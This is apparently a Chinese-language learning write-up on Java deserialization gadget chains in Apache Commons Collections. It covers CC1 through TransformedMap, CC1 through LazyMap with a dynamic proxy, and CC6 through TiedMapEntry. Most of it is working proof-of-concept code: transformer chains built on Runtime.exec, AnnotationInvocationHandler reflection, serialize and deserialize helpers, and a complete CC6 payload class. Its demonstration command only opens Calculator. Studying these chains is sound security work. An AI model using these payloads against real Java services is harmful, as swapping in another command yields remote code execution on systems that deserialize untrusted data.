#环境搭建 openjdk 8u65相关源码下载http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip 这里经常会下到一半断掉,所以可以直接下载sun文件里面的内容,也是直接点zip下载就行 openjdk 8u65下载https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
#调试cc1 ##命令执行方式 ###一般命令执行方式
Runtime.getRuntime().exec("open /System/Applications/Calculator.app" );
###利用反射调用执行命令
Runtime r=Runtime.getRuntime(); Class c=Runtime.class; Method execMethod = c.getMethod("exec" ,String.class); execMethod.invoke(r,"open /System/Applications/Calculator.app" );
###transform执行命令(最终命令执行处) 但是此时没办法反序列化,因为Runtime类没有继承序列化接口,所以我们就需要寻找可以实现反射的途径,这里就可以看到 相当于是实现了一个反射方法,而这个transform方法是属于InvokerTransformer这个方法的,而InvokerTransformer是有继承序列化接口,所以就用这个类来构造一下命令执行姿势
public static void main (String[] args) throws Exception { Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }).transform(Runtime.class); Runtime r= (Runtime) new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }).transform(getRuntimeMethod); new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app" }).transform(r); }
而这样写又写麻烦,可以使用ChainedTransform直接链式调用:
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
首先这里的InvokerTransformer传入的参数格式为,第一个是方法名,第二个是方法名的数据类型,第三个是参数。
##构造链条 要构造链条,首先需要找一下哪里调用了transform,在这些map里面均有调用transform 以checksetvalue为函数,再找一下哪里调用了这个checksetvalue 接下来需要看看checksetvalue里面的,可以看到这个checksetvalue是对valuetransformer进行transform进行赋值操作,所以我们需要看看构造函数对如何对这个valuetransformer进行赋值,然后从这里传入,可以看到这里是这个类的一个构造函数 接下来就看看哪里有调用这个checksetvalue,然后在进行探索可以发现,是在setvalue这边使用,接下来就看看哪里调用了这个setvalue 可以看到,在AnnotationInvocationHandler中的readObject直接使用了这个setValue,然后接下来我们只需关注memberValue如何传入即可 可以看到,传入的类型为map类型就行 那我们接下来就捋一下调用链: InvocationHandler().transformer ->TransformedMap.transformer ->AbstractMapEntryDecorator.setValue ->AnnotationInvocationHandler.readObject poc:
public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); Class<Runtime> c = Runtime.class; HashMap<Object,Object> map = new HashMap<>(); map.put("value" ,"bb" ); Map<Object,Object> transformedMap =TransformedMap.decorate(map,null ,chainedTransformer); Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlconstructor.setAccessible(true ); Object o = annotationInvocationhdlconstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); }
链子写完以后,在调试过程中也是有遇到一些坑点的,这里就来梳理一下
AnnotationInvocationHandler中要到我们需要的setvalue部分是存在一个判断,这个的意思是,map.put第一个参数值(“value”)要被作为name,然后去看看Target.class的构造函数中有没有这个value参数名,有的话才能进到判断里面去 所以这里map.put的值需要取的是value,因为Target.class中是有这个参数名的
过了上面的这个判断以后,在debug过程中,可以看到链子的这个object的值不是我们需要的Rumtime.class,而是变成了另外一个值,所以,这里需要对他进行改写,因此可以利用ConstantTransformer
ConstantTransformer
的作用是,输入什么就固定输出什么,我们一开始在这里输入Rume.class,他在后面的返回值当中就会输出这个内容: 可以看到,此时已经被改写为Runtime.class了 到这里整条链子的分析就结束了,成功执行命令
###lazymap版CC1 这里还有另外一种触发方式,就是利用lazymap 可以发现有很多地方都使用了get,这里直接看一下是从哪里进来的,根据网上有的链子,发现还是在annotationinvocationhandler中调用了这个get,接下来就看看如何触发这个invoke invoke 主要是用来调用某个类中的方法的,但是他不是通过当前类直接去调用而是通过反射的机制去调用。所以这里我们直接调用annotationinvocationhandler的某个方法就行,那么接下来就要看看哪里可以调用这个方法,并且最好在readObject里面,这里需要再看一下进入到invoke里面的判断,主要就是要无参方法的方法才能进入到最后的,大概分析一下: 1.通过method.getParameterTypes()获取方法各参数的Class对象组成的数组 2.可以发现两个判断要绕过的条件就是无参即可 可以发现annotaionhandler的readObject中就存在这个方法了:也就是 但是要劫持一个对象内部方法的调用实现类似php的__call方法,需要使用java中的动态代理才能实现即java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
在Proxy.newProxyInstance的第一个参数是ClassLoader ,使用默认的即可,第二个为所需要代理的对象的集合,第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代码的逻辑 最后构造出来的下面部分长这样
HashMap<Object,Object> map = new HashMap<>(); Map Lazymap = LazyMap.decorate(map,chainedTransformer); Class<?> b= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlconstructor=b.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlconstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annotationInvocationhdlconstructor.newInstance(Override.class,Lazymap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler); Object o = annotationInvocationhdlconstructor.newInstance(Override.class,mapProxy);
###CC6 前面说的cc1是需要看jdk版本,过高的话,前面两条链子就无法使用了,而cc6就比较无视版本了 首先来看看他的gadget
Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
可以发现后面的部分还是一样,使用的是LazyMap,而前面的部分使用了一个TiedMapEntry,重点来观察一下这个TiedMapEntry 里面的getvalue调用了get函数,那么接下来就看看哪里调用了getvalue就可以了 可以发现,在hashcode中就调用了这个getvalue了 而在java.util.HashMap.hash()中调用了这个hashcode,然后在继续在hashmap中的readObject中使用这个hash,所以直接对其进行序列化和反序列化就行了 ####错误的尝试 这里直接序列化map2的话是没有结果的,因为此时在put值的时候,put方法里面就有一个hash 那么就会将上面原本链条的内容走完了,所以这里需要将原本的chainedTransformer弄一个假的放进去,然后后面再通过反射重新传入值
Class b=LazyMap.class; Field lazyfield=b.getDeclaredField("factory"); lazyfield.setAccessible(true); lazyfield.set(Lazymap,chainedTransformer);
但是此时,也无法实现命令执行,因为此时的key已经被赋值了 但是原本是没有的,也是同样在前面的put过程中被赋值的,这个时候我们就直接将这个key删掉就行了 然后就可以成功命令执行了 完整的paylaod如下
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class cc6 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); Class<Runtime> c = Runtime.class; HashMap<Object,Object> map = new HashMap<>(); Map Lazymap = LazyMap.decorate(map,new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"a" ); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"aa" ); Lazymap.remove("a" ); Class b=LazyMap.class; Field lazyfield=b.getDeclaredField("factory" ); lazyfield.setAccessible(true ); lazyfield.set(Lazymap,chainedTransformer); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin" )); Object obj = ois.readObject(); return obj; } }
##总结 这次学了java的两条链,从反射等基础知识开始,到手写调用链,确实收获了很多,有几点回忆总结一下 1.印象比较深刻的是cc6也就是和urldns一样的地方,这里需要反射来更改值,不然之前的已经被put执行过一次了,就不会再重新走了 2.使用proxy动态代理的问题,如果是要调用一个内部对象的方法,那么就需要动态代理